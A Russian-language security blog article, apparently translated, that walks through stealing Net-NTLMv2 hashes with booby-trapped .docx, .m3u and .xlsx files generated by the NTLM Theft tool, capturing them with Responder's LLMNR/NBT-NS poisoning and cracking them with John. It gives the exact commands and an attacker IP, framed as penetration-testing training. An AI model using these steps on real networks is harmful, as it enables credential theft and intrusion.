Кража NTLM-хешей с помощью файлов

Дата: 19.01.2022. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Кража NTLM-хешей с помощью файлов
Изображение: Sora Shimazaki (Pexels)

В этой статье представлен гайд по получению NTLM-хешей с помощью файлов. Читатели узнают все особенности данного процесса на практическом примере.

Введение

Часто при осуществлении тестирования на проникновение хакеры стремятся повысить свой уровень привилегий. Будь то Kerberosstring или стандартная атака типа «lsass dump», кража NTLM-хешей всегда является приоритетом среди всех имеющихся задач. Существуют различные методы и программы для кражи NTLM-хешей, однако инструмент NTLM Theft объединяет в своем функционале все опции и стратегии, которые зачастую используются хакерами.

Установка и настройка NTLM Theft

Пользователи могут скачать NTLM Theft на github, перейдя по ссылке. Следует клонировать репозиторий и добавить один дополнительный пакет python3, который потребуется для осуществления атаки xlsx под названием xlsxwriter.

git clone https://github.com/Greenwolf/ntlm_theft
pip3 install xlsxwriter
Кража NTLM-хешей с помощью файлов

В папке пользователь найдет скрипт Python. Это инструмент, который он будет использовать в дальнейшем. Однако перед этим читателям необходимо познакомиться с некоторыми фундаментальными теориями о NTLM.

Аутентификация Windows. В 80-х годах, когда у людей были пышные прически и ботинки для фанка, компания Microsoft захотела внедрить принципиально новый алгоритм единого входа, который позволил бы всем пользователям безопасно входить в свою систему. Таким образом, пользователи получили возможность вводить пароль и сохранять его в виде LM-хеша.

LM-хеш – это один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager. Он хранится в файле %SystemRoot%/system32/config/SAM в локальной системе и в файле %systemroot%\ntds.dit, если система является частью Active Directory.

NT-хеш – это современная версия протокола аутентификации LM. NT-хеш (или NTLM-хеш) представляет собой полный юникод (65 536 символов). Он появился позже, чтобы преодолеть фундаментальную незащищенность протокола LM.

Если NT более безопасен, почему LM все еще существует? 2 слова – обратная совместимость. Для некоторых сред возможно использование только LM-хешей.

Net-NTLMv1 и Net-NTLMv2. Их фундаментальный механизм такой же, как и у NThash, они обеспечивают отличную защиту от атак брутфорс, но все же проигрывают в битве с другими атаками.

Кража NTLM-хешей с помощью файла .docx и NTLM Theft

В этом практическом примере пользователь будет использовать ответчик для кражи хешей Net-NTLMv2 с локального компьютера Windows 10 с помощью инструмента NTLM Theft и взлома с помощью John.

python3 ntlm_theft.py -g all -s 192.168.1.3 -f test
  • — g: сгенерировать; здесь пользователь указывает типы файлов (для связанных атак), которые будут созданы;
  • — s: IP-адрес сервера; здесь указан IP-адрес машины Kali, так как именно на ней будет работать ответчик;
  • — f: имя файла.
Кража NTLM-хешей с помощью файлов

Выполнение приведенной выше атаки позволит пользователю сохранить все созданные файлы с именем «test» в каталоге.

Кража NTLM-хешей с помощью файлов

Как уже было сказано ранее, существует множество возможных атак для выполнения. Пользователь будет использовать сгенерированный файл формата .docx для эксплойта функциональности «includepicture».

В старых версиях MS Word по пути: «selecting picture -> clicking insert->picture->link to file» пользователь мог указывать ссылку на нужное ему изображение. Пользователь добавляет IP-адрес машины Kali в это поле файла .docx, так что в конечном итоге жертва пытается подключиться к хакеру, чтобы получить указанное изображение. Именно тогда в действие вступает ответчик.

Пользователь настраивает ответчик на интерфейсе eth0.

responder -I eth0
Кража NTLM-хешей с помощью файлов

Ответчик, когда клиент пытается подключиться (в данном случае жертва пытается подключиться к IP 192.168.1.3), «отравляет» LLMNR и NBT-NS и подделывает запросы SMB, чтобы украсть хеши Net-NTLMv2.

Итак, жертва открывает файл .docx, который пользователь отправил ей.

Кража NTLM-хешей с помощью файлов

Как только она сделает это, пользователь увидит, что ответчик успешно захватил хеши NTLMv2.

Кража NTLM-хешей с помощью файлов

Пользователь может перейти в каталог /usr/share/responder/logs, чтобы просмотреть полученные ответчиком данные. Там он находит хеши NTLM в текстовом файле под названием «SMB-NTLMv2-SSP-192.168.1.133.txt» (версия IPv4) и использует John для взлома.

cd /usr/share/responder/logs
ls -al
john SMB-NTLMv2-SSP-192.168.1.133.txt
Кража NTLM-хешей с помощью файлов

Вот так пользователь успешно повысил свои привилегии в системе.

Можно повторить этот же процесс и на этот раз выбрать другую атаку. К примеру, возьмем аудиофайл, который будет открыт в Windows Media Player.  Есть файл «test.m3u», который нужно отправить жертве и подождать, пока она его откроет.

Кража NTLM-хешей с помощью файлов

В сеансе ответчика видно, что был создан файл журнала. Можно использовать John для взлома хешей NTLM, которые были захвачены ранее.

john SMB-NTLMv2-SSP-::ffff:192.168.1.133.txt
Кража NTLM-хешей с помощью файлов

Конечно, стоит отметить, что некоторые методы, доступные в инструменте, не будут актуальными для новых версий Windows. Во избежание недоразумений рекомендуется использовать специальные настройки поиска нужных методов с применением фильтра «modern». Таким образом, инструмент NTLM Theft будет генерировать только те файлы, которые подойдут для кражи NTLM-хешей из новых версий Windows.

python3 ntlm_theft.py -g modern -s 192.168.1.3 -f ignite
Кража NTLM-хешей с помощью файлов

Есть возможность указать желаемый тип файла для осуществления атаки. Допустим, пользователь хочет провести кражу с помощью файла для excel. Он создает нужный файл:

python3 ntlm_theft.py -g xlsx -s 192.168.1.3 -f demo
Кража NTLM-хешей с помощью файлов

Заключение

Инструмент NTLM Theft экономит время пентестера, создавая множество полезных нагрузок, которые можно использовать для кражи NTLM-хешей. Данный скрипт полагается на работу ответчика, который запускает атаки с «отравлением» LLMNR и NBT с целью украсть хеши NTLM. Возможным дальнейшим развитием сценария может быть добавление этой функции «отравления» и превращение ее в отдельный инструмент для быстрой кражи хешей NTLM.

Автор переведенной статьи: Harshit Rajpal.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Об авторе Игорь Б

Представитель редакции CISOCLUB. Добавляю статьи на сайт.
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован.